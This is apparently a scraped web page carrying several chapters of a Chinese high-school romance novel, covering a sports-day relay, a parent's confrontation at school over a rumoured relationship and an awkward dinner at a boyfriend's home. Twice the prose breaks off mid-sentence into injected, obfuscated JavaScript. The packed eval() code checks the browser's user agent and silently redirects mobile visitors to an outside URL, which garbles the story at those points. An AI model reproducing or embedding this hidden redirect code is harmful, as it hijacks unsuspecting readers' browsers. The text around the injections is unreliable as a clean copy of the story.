就在这个当口,沈泽许的身体似乎“不经意”地往旁边一歪,顺势靠在了陈温的肩膀上,甚至还往他颈窝里缩了缩,一副被吓到、需要依靠的“小鸟依人”模样。 陈温先是一愣,随即一股奇异的“男友力”油然而生。他几乎没怎么犹豫,大手一挥,伸出胳膊,将沈泽许往自己怀里搂了搂,还故作镇定地低声说:“别怕,都是假的。” 沈泽许在他肩头几不可察地抖动,像是闷笑,又像是调整姿势,就是没离开。 因为老师不在,加上恐怖片的氛围,有些同学悄悄换了位置,和关系好的人挤在一起看。 李清依和林宇舟不知何时也溜到了教室后排的角落里,低声聊着天。 为寻求刺激,教室的灯被关得只剩讲台附近一盏,免得环境太暗伤眼睛,但昏暗的光线下,迷迷糊糊间,还是能瞥见那两人挨得极近的身影,和似乎都有些泛红的脸颊。 第二天一早,班长叶萧云从楚婷那里得到指令,不情不愿地再次发放了手机,但每个人脸上都带着点“好日子到头了”的预感。 果然,手机刚开机没多久,班级群里就弹出了班主任@全体成员的消息: 「楚婷:@全体成员运动会除了比赛,班级精神文明风貌也很重要。昨天我们班没有一个人写加油稿交到广播站,今天至少要交5份合格的加油稿上去,为我们的运动员加油鼓劲。完不成的,今天手机提前收回。体育委员林宇舟督促一下,班长叶萧云统计。」 69. 以后给你换个大的 楚婷这招确实狠。 为了保住手机,几个2班的同学被逼得没办法,蹲在广播站门口临时支起的小桌子旁,抓耳挠腮。 写给谁?林宇舟?李欣桐?怎么写?总不能真就写“加油”“冲啊”吧? 时间紧迫,也顾不得什么文采和深刻了。 几个人凑在一起,潦草又敷衍地拼凑出了两份“加油稿”,字迹龙飞凤舞,内容……一言难尽。 写完,赶紧塞给了广播站门口的值日生,完成任务般松了口气。 那值日生接过纸条,看着上面熟悉的班级和狗爬似的字,忍不住嘟囔:“怎么又是2班的……今天第几份了?” 另一个正在播音的值日生,恰好念到二班另一个不太正经的稿子。他清了清嗓子,用广播站特有的语调念道: “社会没有遮天树,桐姐带你闯中路!高三(2)班的同学为李欣桐同学加油!愿你如中路法王,carry全场,带领班级走向胜利!” “噗——!” 正在大本营喝水的李欣桐,一口水全喷了出来,呛得连连咳嗽,脸都涨红了。 她瞪大眼睛,难以置信地望向广播站方向,咬牙切齿地低吼:“是哪个神人给我写的这玩意儿?!别让我逮到他!!” 而此刻,正在小卖部附近优哉游哉买烤肠的叶萧云,突然毫无征兆地打了个大大的喷嚏,手里的烤肠都差点吓掉。 他揉了两下鼻子,莫名觉得后背有点发凉,疑惑地看了看天:“……谁在骂我?” 没过一会儿,广播又一次响了起来。这次的语调正经了许多,甚至还带了点独属于校园广播的抒情意味: “接下来,是一封来自高三(2)班的加油稿。致陈温同学:骄阳高照,却挡不住青春的光芒。你如你的名字一般,如温煦的风,悄然融入我们的集体,带来滋润与温暖。愿你在此刻的赛场上,只为自己的心而奔跑,无拘无束,挥洒属于你的不宁静。也愿你,心想事成,前途无量。高三(2)班,为你加油!” 在操场上听到这段话,陈温几乎在0.01秒内就锁定了“嫌疑人”。除了那人,没人会用这种含蓄又带着点个人印记的方式给他写东西,还写得……这么让人脸红。 他二话不说,拔腿就朝大本营旁那个挺拔的身影跑过去。 沈泽许正低头看着手机,似乎没注意到他气势汹汹地冲过来,也可能注意到了但没想躲。 陈温跑到近前,扬起手,不轻不重地一巴掌拍在沈泽许的小臂上,发出清脆的“啪”一声。 “沈泽许!”陈温又羞又恼,“谁教你这样写加油稿的!肉麻死了!” 沈泽许这才抬起头,脸上没什么表情。陈温还想开口,一旁却突然传来两道带着震惊和好奇的抽气声。 “前社长这是……?” 陈温闻声猛地转头,这才发现不远处站着两个看起来像高一高二的男生,正目瞪口呆地看着他们,表情精彩纷呈,显然是目睹了“陈温飞奔过来打沈泽许”的全过程。 陈温当场石化,僵在原地,脸上的热度“腾”地一下烧到了脖子根。 他刚才……是不是太激动了?是不是……被看到了? 沈泽许倒是很淡定,仿佛只是被蚊子叮了一下。他朝那两个学弟微微颔首,语气平静:“没事。等一下我把解决方案发到你们社群里。先走了。” 说完,他非常自然地伸手,拉住了还处在石化状态的陈温的手腕,稍稍用力,将石头人带离了现场。 远离那两个学弟,陈温才如梦初醒般回神,脸上热度未退,小声又急切地问:“他们……是谁啊?” “文学社现任的正副社长。”沈泽许松开他的手腕,语气寻常。 “他们找你干嘛?” “社团活动遇到点流程上的问题,过来问问以前怎么处理的。” “你不是学生会会长吗?”陈温问。 “是啊,”沈泽许看了他一眼,慢条斯理地说,“不过我早就卸任了。在那之前……我当过文学社社长。身兼数职过一段时间。” “……”陈温彻底无语了。但刚才那点被人撞见的尴尬和羞恼,被“我男朋友到底还有多少我不知道的奇怪技能点”的疑惑取代。 又到了检录时间。接力队的四人已经做好了充分的热身,肌肉处于最佳准备状态。 比起昨天初赛时的忐忑,今天几人的脸上更多的是沉稳和自信。 操场上一眼望去,两侧早已被观众围得水泄不通,人头攒动,像一道道高矮不一的围栏。 喧闹声震得人耳膜嗡嗡作响,体育老师拿着扩音,喇叭,在跑道边来回走动,好几次提高音量提醒:“观众朋友们!请控制音量!保持安静!让运动员听清发令枪!” 一个负责打听敌情的同学挤过来,压低声音对林宇舟他们说:“我刚打听了,昨天小组第五那个班,也是因为掉棒才落后的,他们绝对速度好像跟咱们差不多,决赛要小心点,可能是劲敌。” “行,我们知道了。”林宇舟点点头,眼神锐利。他最后拍了拍陈温的肩膀,又跟其他几人交流眼神,随后深吸一口气,转身,大步走向第一棒的起跑位置。 “运动员就位,各就各位,预备——” “嘭!” 发令枪响,炸裂在骤然寂静的空气中。 八条跑道上的第一棒选手如同离膛的子弹,猛地冲出!他们并驾齐驱,如同雨后疯长的春笋,争先恐后地朝着第一的宝座冲刺,前后差距微乎其微,肉眼几乎分不清谁一谁二。 交接区,紧张得让人屏息。 林宇舟和李欣桐的交接依旧完美流畅,李欣桐接棒后,凭借出色的直道能力,稍稍拉开了微弱的优势。 但到了第三棒,差距开始明显。集体项目就是这样,一个人的天分和努力,终究敌不过团队的严丝合缝。一个小失误,或者交接瞬间的毫厘之差,都会被无限放大。 第三棒的女生眼神坚定,接棒后奋力向前冲,与旁边第五道的选手几乎并驾齐驱,互不相让。 最后的直道,第四棒区域。 陈温早已做好起跑姿势,身体前倾,目光锁定着即将冲来的队友。然而,他眼角的余光,却瞥见身旁第五道上站着的,竟然是杨子龙。 这家伙还和以前一样,微微抬着下巴,眼神扫过周围紧张的选手,最后落在陈温身上时,带着一种毫不掩饰的、居高临下的轻视,嘴角似乎还勾着若有若无的讥诮。 陈温心头莫名火起,但现在不是计较这个的时候。他强迫自己收回目光,不再看杨子龙,将全部注意力都集中在越来越近的队友和那根接力棒上。 两人之间,形成了一种诡异的、互不干扰的真空地带。 没有眼神交流,没有言语,甚至连身体都下意识地保持着最远的距离。空气中弥漫着火药味。 当第三棒的女生们拼尽全力冲过来时,陈温和杨子龙都已做好了最充分的准备。两人几乎是同时伸出手,同时接住了那根承载着希望的接力棒! 接棒瞬间,两人如同被注入最强动力的引擎,猛地爆发出全部速度!一下子就将其他道的选手甩开在后头。 最后的直道成了他们两人的对决战场。呼吸越来越急促,喉咙再次泛起血腥味,腿部肌肉酸胀得像灌了铅,但陈温没有一丝一毫放弃的念头,他咬紧牙关,死死盯着前方那道越来越近的终点线。 杨子龙显然也拼尽了全力,面目甚至有些狰狞。就在距离终点线最后十几步的地方,他猛地闭上眼,发出了一声低吼,身体做出一个不顾一切的、向前猛倾的冲刺动作! 他的身体率先重重地“撞”过了终点线,随即,陈温也紧随其后冲过。 杨子龙由于惯性又冲出去好几米才堪堪停下,他双手撑着膝盖,大口喘气,而后猛地直起身,脸上爆发出巨大的喜悦,朝着自己班级的方向,用力挥舞着拳头,做了一个庆祝胜利的动作! 看台上属于他们班的区域爆发出巨大的欢呼。 陈温则因为体力透支和瞬间的失落,脚步踉跄,眼看就要摔倒,却被一双手稳稳扶住,接进了一个熟悉的怀抱里——是沈泽许,他不知何时已经等在了终点线后。 陈温几乎把全身的重量都靠在了沈泽许身上,头无力地抵在他的颈侧,胸膛剧烈起伏,喘得说不出完整的话,只断断续续地吐着热气:“我……尽力了……” “嗯。”沈泽许一手环着他,另一只手安抚地拍着他的背,声音低沉而肯定。他看着陈温汗湿的侧脸,刚想说什么。 就在这时—— “哔——!!!” 一声极其尖锐的哨音,忽地刺破了属于杨子龙班级的欢呼。 紧接着,终点裁判严肃的声音通过扩音器清晰地传来: “第五道,踩线犯规!成绩无效!” “什么?!!!” 杨子龙脸上的狂喜瞬间凝固,变成了难以置信的惊愕和愤怒,他猛地转向裁判方向。 他班级的欢呼声也像是被掐住了脖子,戛然而止。 闻言,陈温乍然从沈泽许的颈侧抬起头,两人对视一眼,都从对方眼中看到了同样的震惊。 李欣桐一瘸一拐地小跑回大本营,快到地方时,却瞧见自家地盘居然被几个别班的男生占了,几个人围在一起,正用手机组团开黑,声音外放,吵吵嚷嚷。 原本负责看营的同学被挤到了旁边角落,敢怒不敢言。 李欣桐本来就因为比赛结果悬着心,加上脚疼,看到这一幕,火气“噌”地就上来了。 她几步冲过去,声音不大,却带着一股逼人的气势,指着那几个人:“喂!你们走错班级了!这里是2班大本营,赶紧走开!” 那几个男生正玩到兴头上,被这突如其来的呵斥吓了一跳,抬头看见李欣桐绷着脸的模样,又瞟到她身后慢慢聚拢过来的几个2班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人都不是爱多话的性格,平时在一起也常常是安静的。但此刻的沉默,却既不沉闷,也不突兀,只是静静地并肩走着,各自消化着今天赛场上发生的一切。 出乎意料的事情,总让人感到隐隐的不安。 接力赛的冠军,兜兜转转,最终还是落回了2班手里。可陈温一点也开心不起来,胸口像堵着一团湿棉花。 他想不明白,杨子龙为什么要那样做?在证据确凿、有老师录像的情况下,还一口咬定裁判被买通了,偏袒“好学生”。 问题是他自己确实犯规了,结果就是这样。 那人还不服气,差点跟裁判打起来。 “你说他为什么要那样做?”陈温盯着脚下被踩得光滑的水泥地,闷声问。 沈泽许走在他旁边,声音没什么起伏,却一针见血:“自尊心受挫了吧。接受不了自己犯错,更接受不了因此输掉,尤其……是输给你。” 陈温扯了扯嘴角,想笑,却笑不出来,表情很快又严肃起来:“他好像……对我们有意见。” “不是一直都有吗?”沈泽许反问,语气平淡得像在陈述天气。 是啊,一直都有。那种没来由的、带着敌意的打量和针对,像背景音一样存在着。只是今天,因为一场比赛,被放大到了无可回避的地步。 两人又沉默地走了一会儿,夕阳将影子拉得很长。或许是觉得气氛太沉,也或许是想转移注意力,陈温忽然停下脚步,没头没脑地说:“哎,你把右手伸出来。” 沈泽许看了他一眼,很顺从地把右手伸了过去,掌心向下,手指自然微曲,像一只得到指令、无条件信任主人的……某种大型犬科动物。 陈温握住他的手,手指有些凉。他低着头,很全神贯注地将一个坚硬的环状物,套向了沈泽许的无名指。 “咔。” 很轻的一声响,那个环——是刚才雪碧易拉罐的拉环——卡在了沈泽许无名指的指节处,再也推不上去。 “呀,小了。”陈温抬起头,有些不好意思地傻笑了两下,耳尖发红,“先……将就一下。以后……以后给你换个大的。” “大的易拉罐环?”沈泽许低头看着自己手指上那个可怜巴巴的银色小圈,嘴角微微勾起。 陈温被他这句故意曲解的话噎住,没好气地想白他一眼,一字一句地纠正:“是真的戒指!大的!真的!” “可是,”沈泽许脸上的笑意淡了些,他抬起眼,眸光沉静,“我不喜欢戒指。” “为什么?” 沈泽许沉默了片刻,眼帘微微垂下,长长的睫毛在眼下投出一小片阴影,似乎真的在认真思索这个他从未想过的问题。 半晌,他才重新抬起眼,目光直直地望进陈温的眼底,开口道: “感觉……像被戒指锁住,困住了。” 陈温的心沉了下去,握着沈泽许的手也不自觉地松了松。 但沈泽许反手握住了他想要退缩的手指,力道不重。他注视对方有些失落的双眼,很慢、很认真地,把后半句话说完: “但如果是你,” “我愿意被锁。” 70. 我们没有谈 周一,又到了午饭时间,但今天食堂里少了李欣桐活跃的身影。 上次运动会跑完接力,她太兴奋,退场时没注意,被另一个在跑道边疯跑打闹的低年级学生结结实实地撞倒在地。 两人谁都没看到对方,撞得狠,李欣桐的脚踝当场就肿了起来,去医院看了,说是软组织挫伤,需要静养。 家里人心疼得不行,强硬地让她在家休息几天,顺便自学,等脚好利索了再来学校。 所以这几天,李欣桐只能通过手机远程参与班级生活,整天抱怨在家闷得慌。 而叶萧云,最近也被楚婷抓了壮丁,常常在午饭时间被叫去办公室处理班级的杂事,忙得脚不沾地。 李清依平时习惯了和妹妹一起吃饭,这下落了单。林宇舟、沈泽许、陈温几个人看在眼里,觉得让她一个人吃饭不太好,便主动邀请她一起吃晚饭。 李清依起初有些犹豫,觉得都是男生,自己一个女生夹在中间会不会尴尬。 但转念一想,这几个人都是年级里拔尖的学霸,吃饭时如果能顺便讨论一些学习上的难题或者思路,倒也是个难得的机会。 于是,她便点头答应了。 一开始,几个男生一起吃饭时,总会默契地选择那种并排长桌中间的位置,这样四个人可以分坐两边,谁也不挨着谁。 但不知道从什么时候起,这种平衡逐渐被打破。 有一次,沈泽许和陈温排队打饭的队伍特别长,等他们端着餐盘出来时,已经不见了林宇舟和李清依的身影。两人便随便找了个双人位坐下。 没吃几口,陈温一抬头,目光不经意扫过食堂另一侧,正好看见林宇舟和李清依坐在不远处的一个角落。 两人似乎正说着什么,林宇舟手舞足蹈,李清依掩着嘴笑,眼睛弯成了月牙。 明明隔着一段距离,听不见声音,但那种氛围……陈温不知道怎么形容,就好像他们头顶悬着个茶壶,正往外“滋滋”地冒着粉红色的泡泡,把周围的空气都隔开了。 陈温和沈泽许对视一眼,都从对方眼中看到了一丝了然,随即默契地继续吃自己的饭,没有上前打扰。 自那以后,四人行就自然而然又心照不宣地分成了两组。 吃饭时如果碰巧遇到,就点点头,各自找地方;如果没遇到,便各吃各的。 谁也没有去捅破那层装着秘密与心事的窗户纸,就这样相安无事地吃了好几天。 直到这天,临近下午上课,叶萧云忽然出现在教室门口,表情有些严肃,朝里面喊:“林宇舟,李清依,楚老师叫你们现在去一趟办公室。” 话音不大,却引得教室瞬间骚动起来。 林宇舟和李清依?同时被叫去办公室?还是在楚婷那里?看叶萧云那眉头微皱的样子,似乎不像是什么被表扬的好事。 不少同学交头接耳,好奇心被彻底勾起。 下课铃声一响,好几个按捺不住的同学,包括陈温和沈泽许,立刻起身,也朝着一楼的教师办公室快步走去。 办公室的门关着,窗户的百叶帘也被拉了下来,严严实实,从外面什么也看不见,但能捕捉到屋内漏出的声音。 “你叔叔都看见你跟这个人在一起吃饭了,还说没有谈!”一个激动的女声猛地拔高,带着毫不掩饰的怒气和指责。 外面的同学们面面相觑,迅速交换眼神——这声音很陌生,不是楚婷,听起来年纪更大,很可能是……李清依的母亲。 “家长请冷静一点。”楚婷的声音紧接着响起,试图控制局面,“都快学期结束了,高三关键时期,有什么问题我们好好沟通,别弄得太难看。” “是啊,都快高考了!”李母的声音立刻转向了李清依,语速又快又急,充满了失望和训斥,“你是怎么有心情谈恋爱的?你多大了?你知道些什么?你之前是怎么答应我的?!” 李母的关注点和楚婷截然不同,重点完全落在了“不该谈恋爱”和“违背承诺”上。 办公室里,李清依的头低得不能再低,仿佛从生下来就习惯了这种姿态,沉重的压力让她抬不起头。 女生右脸颊上有一个微微红肿的巴掌印,她的声音沙哑和颤抖,却异常固执地说:“我没有谈。” “还在顶嘴!”李母的声音更加愤怒,“上次你去玩什么室,也是跟他去的对吧!” “老实待在家里照顾弟弟妹妹不好吗?一天到晚在外面鬼混!”她伸手指着李清依,那姿态仿佛要将自己的女儿钉死在“不懂事”的耻辱柱上。 “就不能在家照顾好弟弟妹妹,做好家务,让我们回家轻松一点吗?我们上班多累你知道吗?!” 说完最后一句,李母的声音骤然带上了疲惫,她两只手指撑着太阳穴,深深地吸着气。 “阿姨,我……”林宇舟的声音插了进来,试图解释,但立刻被一个不容置疑的女声打断。 “宇舟,你先别说话。”是林宇舟的母亲。她的声音相比李母,显得克制而有礼。 短暂的沉默后,张女士转向李母,语气缓和却直接:“那您看,现在这种情况,您想怎么办呢?” 李母的情绪显然还在激动的顶点,她几乎是不假思索地地吐出两个字:“分手!他们俩一定要分开!不能再有任何往来!” “我们没有谈!”林宇舟再也忍不住,反驳道,那语气像是被冤枉了。 办公室里再次陷入僵持。 楚婷夹在家长和学生之间,脸色越发为难和尴尬。她需要维持教师的权威,处理这场突如其来的风波,又本能地觉得这种高压和指控对两个即将高考的学生来说伤害极大。 等林宇舟那句反驳落下,办公室里出现了几秒钟死寂时,楚婷抓住这个空隙,深吸一口气,用尽量平稳的口吻开口道: “好了,都别吵了。” 她的声音不高,却能让办公室里外的嘈杂都为之一静。 “孩子们一再说了没谈。做家长的,是不是也应该试着信任一下自己的孩子?”楚婷的目光扫过李母,“高三了,压力本来就大。不管事实如何,现在最重要的是让孩子安心备考。逼得太紧,对谁都没有好处。” 她顿了顿,语气稍微放软,但带着送客的意味:“今天先到这里吧。大家都先回去,冷静一下,调整一下。具体的情况,我们之后再慢慢沟通。林宇舟,李清依,你们也先回教室。” 办公室外的墙边,聚拢的学生越来越多,窃窃私语着。 终于,被数学老师胡春涛毫不客气地驱赶:“别看了,赶紧散了。回自己班上去!” 事情在每所高中都屡见不鲜。无非是家长过于冲动,闹到了学校,最终惊动了德育处。 隔了没几天,午间广播台的例行通知里,就多了一条字正腔圆的新规: “……再次强调,全体同学应端正言行,专注学业。禁止男女同学交往过密,请自觉保持适当距离,维护校园良好风气……” “适当距离”后来被私下戏称为“一米线”。虽然不可能真的去量,但无形的隔阂已然竖起。 自那之后,林宇舟和李清依之间,再没有任何公开的交集。 李欣桐养好腿回到学校,李清依身边又有了可以并肩去食堂的人,仿佛一切回到了原点。 班上的同学目睹了那天的风波,心照不宣,谁也不敢多问,只当那是一场不宜再提的意外。 他们俩在教室里,在走廊上,在操场上,总是巧妙地避开彼此。 视线偶尔不经意地交错,也会在0.1秒内迅速移开,像碰到滚烫的东西。 他们不再看向对方,彻底地忽视对方的存在,表现得好像那件事对他们来说不痛不痒,早已翻篇。 只有他们自己知道,这种刻意的“不痛不痒”下,藏着怎样的窒息感。 从前,目光可以偷偷追随,笑意可以小心藏匿,哪怕只是一个擦肩而过,都能在心里泛起隐秘的涟漪。 而现在,连“看”都成了禁忌。 不是不想看,是不敢看,不愿看——怕那一眼泄露了情绪,怕那一眼又引来不必要的风波,怕那一眼让之前所有的“澄清”和“保证”都前功尽弃。 谁也不想的。 可又是谁都默认了,眼下这样,装作陌路,互不打扰,就是最好的结果。 不会再变了。至少,在离开这所高中之前。 上语文课,讲到阅读理解里一道关于“爱与理解”的题目时,语文老师书缘大概是联想到最近班级里那场不大不小的风波,忽然有些感慨。 她放下课本,目光扫过台下或认真或走神的学生,慢慢开口:“我在惠中待了有6年了,也当过几年班主任,带过不少学生。”她语气变得有些微妙,“据我观察啊,高中时候谈的恋爱,几乎没有能修成正果的。” 一提到这种话题,刚才还有些昏昏欲睡的同学们瞬间精神了,眼睛亮了起来,教室里响起一阵低低的的哄笑。 书缘看见台下这群青春洋溢又对“爱情”充满好奇的脸,笑了笑,继续说道:“我做班主任的时候,只要不影响学习,不闹出大问题,我一般不粗暴干涉学生的正常交往。我记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172003|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有个女生,挺有意思的。” 她回忆着,眼神有些飘远,“她跑来找我,不是告状,也不是求助,是让我帮她看看她写的情书……写得怎么样。” “哇——!”台下一片哗然,起哄声更大了。这么大胆又特别的女生,简直像小说里走出来的人物。 “那女生挺优秀的,当时还是学生会会长。”书缘老师放下粉笔,轻捻着指尖沾上的粉末,“不过,我发现她的情书里,称呼对方用的都是‘她’,女字旁的她。” “哇——!!!”这下,起哄声几乎要掀翻屋顶。不少同学震惊地张大了嘴,随即露出更加兴奋的表情。 这个信息量太大了! “不过啊,”语文老师话锋一转,叹了口气,语气恢复了平常讲课的平静,却也带着一丝怅然,“后来也被棒打鸳鸯了。也不知道她们现在怎么样了,有没有再联系,过得好不好。” 短暂的沉默后,她重新拿起课本,像是要结束这段题外话,但最后又补充了一句,语气半是玩笑半是认真:“所以啊,要是将来,你们班上真有人能修成正果——不管是什么样的‘正果’——以后记得来找我,我请你们吃饭。” “老师,真的假的?!”有胆大的同学立刻高声问道。 “当然是真的。”书缘老师说,“如果那时候我还在这里教书的话。或者,打电话告诉我一声也行。” 同学们又被逗乐了,教室里充满了快活的气氛。有人把这话当真,默默记在了心里;有人只当是个调节课堂气氛的笑话,听完就忘;也有人压根没在意。 又过去了几个月。 教室后墙上的高考倒计时日历,被值日生一页页郑重撕下,数字变得越来越小,催促着每个人。 正如楚婷曾经告诫的那样,到了这个阶段,真的“没有时间谈恋爱”了。 每一分每一秒似乎都被无限拉长又飞速流逝,填满了写不完的习题、讲不完的难点、考不完的试卷、背不完的笔记和知识点…… 沈泽许再优秀,再自律,说到底也是血肉之躯。高强度、无休止的脑力消耗和睡眠不足,也让他的眼下染上了淡淡的青色。 他会留出几节课间,不再刷题,只是安静地趴在课桌上,闭眼休息十分钟。 有时陈温写题写累了,一偏头,就能看见他伏在臂弯里的侧脸,睫毛根根分明,是疲惫中难得的柔软时刻。 生活简化到了极致,每天三点一线:教室、食堂、宿舍或家。 日复一日,宿舍到教室的路闭着眼都能走,食堂的菜式循环到能背出菜单。 唯一明显变化的,是天气。春寒褪尽,暑气一日盛过一日。 窗外的蝉鸣开始试探性地响起,教室里的空调重新被开启,发出低沉的嗡鸣,努力将闷热隔绝在外。 学校里的一切都在为最后的目标让路,家里的弦也绷得更紧。 陈林峰对陈温学习的关注和对他身体的担忧,比以往任何时候都更频繁,甚至显得有些唠叨和笨拙。 陈温并不反感,能感受到那份沉默父爱下的急切,但他早已习惯了之前的疏离模式,对于这种突如其来的关怀,回应起来总有些敷衍和不自在。 只好用“嗯”、“知道了”、“还行”来抵挡。 听沈泽许说,陈温也隐约得知,他家里的气氛似乎更僵了。 父母之间的关系不知为何降到了冰点,虽然极力避免在他面前争吵,但那种压抑,比直接的冲突更让人窒息。 沈泽许提及这些时语气极淡,但陈温能听出那平静水面下的暗流。 周六,一场模拟考刚结束。 沈泽许看了眼手机,屏幕上跳出一条来自母亲的消息。他侧过头,对正在收拾文具的陈温说: “我妈邀请你去家里吃饭。” 陈温动作一顿,有些诧异地抬头。 沈泽许无奈又好笑的补充道:“她说最近想你了,想请你尝尝她新学的菜式。” 陈温立刻想起上次去沈泽许家,被沈母热情款待,颜色诡异、味道更加诡异的“养生小饮料”的经历,脸上露出一丝心有余悸的表情:“你确定……菜里没有毒吗?” “很难说。”沈泽许关掉手机屏幕,表情一本正经,“她最近沉迷刷美食短视频,创新精神有点过于旺盛了。你去吗?” 陈温看着沈泽许明明想让他去、却又故意吓唬他的样子,忍不住笑了。 他看了一眼时间,想了想:“去呗。反正考完了,放松一下。”他拿出自己的手机,“我跟元姨说一声,不用给我留晚饭了。” 71. 两个世界的人 汽车平稳地驶向沈家所在的别墅区。 天空已经不再明亮,而是泛起了一层浅浅的、灰蓝色的鱼肚白,几团浓重的乌云慢悠悠地飘过。 车子停在庭院外,两人下车,走到门前。沈泽许抬手按响了门铃。 没过多久,门开了。站在门内的,正是沈泽许的母亲——白千月。 她穿着一身舒适的家居服,脸上带着笑容,但在看到门外并肩站着的两人时,那笑容里似乎飞快地掠过一丝混合着惊讶和某种复杂情绪的怔忡。 “怎么现在来了?”她开口问道,语气依然热情,侧身让开门口,“快进屋,外面好像要下雨了。” 这话说得……有点微妙。 明明是她发消息邀请陈温来吃饭的,此刻的语气却像是没料到他们会在这个时间出现。 不过白千月的态度一如既往的热情周到,那份瞬间的异样很快被掩盖,陈温也没多想,只当是长辈随口一句家常的询问。 门口鞋柜旁,整齐地摆着家常拖鞋,但唯独不见为客人准备的一次性拖鞋。 “呀,”白千月拍了下手,露出一点懊恼的神色,“可能是家里的阿姨忘记买新的了。没事,小温,你就穿这些拖鞋进来吧,别客气,晚上会拖地的。” “麻烦阿姨了。”陈温连忙说。 “不麻烦不麻烦,快进来吧,外面热。”白千月热情地招呼着。 走进客厅,凉爽的空调风迎面而来。 客厅的沙发上,坐着一个男人。他姿态放松地翘着二郎腿,双腿修长笔直,手里端着一杯红茶,目光落在正在电视里播放的新闻联播上,侧脸轮廓分明,眉眼间与沈泽许有七八分相似,只是气质带着一种久居上位的疏离感——是沈泽许的父亲。 一下子要同时面对两位家长,尤其是这位看起来就不好接近的沈父,陈温心里不由得紧了一下。 他下意识地看向白千月,却发现白阿姨仿佛完全没有注意到沙发上的人,她的视线始终落在陈温和沈泽许身上,脚步也径直引着他们往里走,头也不往客厅方向偏一下。 “妈,我们先上去了。”沈泽许换好鞋,语气平淡地对白千月说,目光同样没有投向沙发。他似乎也……不想看到客厅里的那个人。 “好,好。”白千月连声应着,笑容依旧,“你们先上去休息会儿,聊聊天。饭做好了叫你们下来,一定得吃顿热乎的再回去啊。” 沈明远在陈温经过客厅时,似乎不经意地抬了一下眉梢,目光与陈温的视线短暂地交汇了一瞬。 那眼神谈不上严厉,却像某种精密仪器扫过,评估着什么,仿佛发现了值得注意的猎物,让人心底隐隐生出几分不安。 陈温赶紧移开视线,跟着沈泽许快步上了楼。 又回到了沈泽许的房间,这个他们曾发生过“不可描述”事情的空间。 记忆随着熟悉的摆设和气息扑面而来,陈温脸上不禁有些发热。他甩甩头,试图驱散那些让人心跳加速的画面。 两人没什么形象地倒在柔软的大床上,盯着天花板上简洁的吊灯。 过了一会儿,陈温翻了个身,钻进沈泽许怀里,手臂环住他紧实的腰,把脸埋在他肩窝处,无意识地嘟囔了一句:“好累啊……” “嗯,快高考了,没办法。”沈泽许的声音从头顶传来,一只手轻轻揽住他,另一只手有一下没一下地抚摸着陈温柔软的发丝,像是在给一只累坏了的小动物顺毛。 过了一会儿,他问:“想好去什么学校了没有?” 陈温被摸得舒服,脑子也有些放空。 听到这个问题,他沉默了一会儿——陈林峰的态度很明确,不希望他去外地,最好就在省内读大学,说是为了方便照应。 他和沈泽许的成绩都够得上一流大学,但要在省内找一个两人都能上、条件又都不错的…… “中山大学吧。” 陈温说出“中山大学”时,心里其实没什么底。他的成绩不算拔尖,在年级里属于中上,波动很大,好的时候能挤进前列,发挥失常时又会掉下去不少。 高考这种一锤定音的考试,变数太大。 “你觉得呢?”他问。 沈泽许没有犹豫地说:“你去哪,我就去哪。” 他似乎也清楚陈温成绩的起伏,没有说什么不切实际的鼓励,平静地分析道:“一起考进中山大学概率是有些小,但不是完全没有可能。” 这话听起来像句废话,但出自沈泽许之口,却带着一种基于事实的判断意味。他没有否定陈温的目标,也没有盲目乐观。 “最后这两个月,重点补一下你的薄弱科目,尤其是英语作文,提分空间还很大。”沈泽许的声音在头顶响起,条理清晰,像是在制定一个攻坚计划,“英语和理综保持稳定,尽量少失误。模拟考的排名参考价值有限,别太被它影响心态。” 陈温在他怀里点了点头,鼻尖蹭到柔软的棉质T恤。 是啊,概率小,不代表为零。还有时间,还能努力。 没待多久,白千月就喊他俩下来吃饭。 两人应声下楼。餐厅里,长长的餐桌上已经摆满了各色家常菜肴,热气腾腾,香气扑鼻,有清蒸鱼、糖醋排骨、蒜蓉菜心、玉米排骨汤……看得出白千月确实用心准备了一番。 四张餐椅被分别摆在了餐桌的四方。 陈温先去厨房旁边的洗手台洗手,等他擦干手回到餐厅时,发现外面的三张椅子已经都坐了人——白千月坐在靠厨房一侧的主位,沈泽许坐在她右手边,而沈明远,不知何时已经从客厅移步过来,端坐在白千月的正对面,也就是餐桌的另一端主位。 只剩下白千月左手边,也就是最里面的那张椅子还空着。 刚在椅子上坐下没多久,甚至还没来得及动筷子,陈温就感觉到臀部传来一阵突兀的湿意,迅速渗透了薄薄的夏季校裤和内裤。 他身体一僵,低头看去——椅面赫然有一大片不明显的水渍!因为椅子颜色深,刚才光线又有些暗,他根本没仔细看就坐了下去。 现在,裤子连带里面的内裤都湿透了,紧紧贴在皮肤上,又湿又冰,极其难受。 他无助地抬起头,正对上白千月的目光。她已经夹了像小山那么高的菜堆在陈温碗里,此刻又夹了一块她做的糖醋排骨,正要往陈温碗里放。 扫见陈温眉头紧锁,明显不舒服的样子,她停下动作,语气关切地问:“怎么了吗,小温?是菜不合胃口吗?” 沈泽许也看向他。 从进来到现在,是个正常人,都会觉得自己被刻意针对、被恶搞了。 陈温的心一点点沉下去,他几乎在一瞬间就确定了“凶手”是谁。 但他不明白。真的不明白。对方为什么要用这种上不了台面的方式刁难自己?难道是因为…… 陈温用力掐了一下自己的掌心,剧痛让他勉强维持住表面的镇定。他强迫自己松开眉头,尽量让自己的声音听起来平稳无异样,对着两人摇了摇头: “没事。菜很好吃,可能是因为考试……有点累了。” 晚饭期间,沈泽许和白千月轮流给他夹菜,菜式没有一样是他不爱吃的。可陈温就是没胃口,味同嚼蜡。 但他还是勉强自己,将碗里堆成两人的“爱心投喂”都吃了下去,不想辜负他们的热情,更不想流露出任何异样。 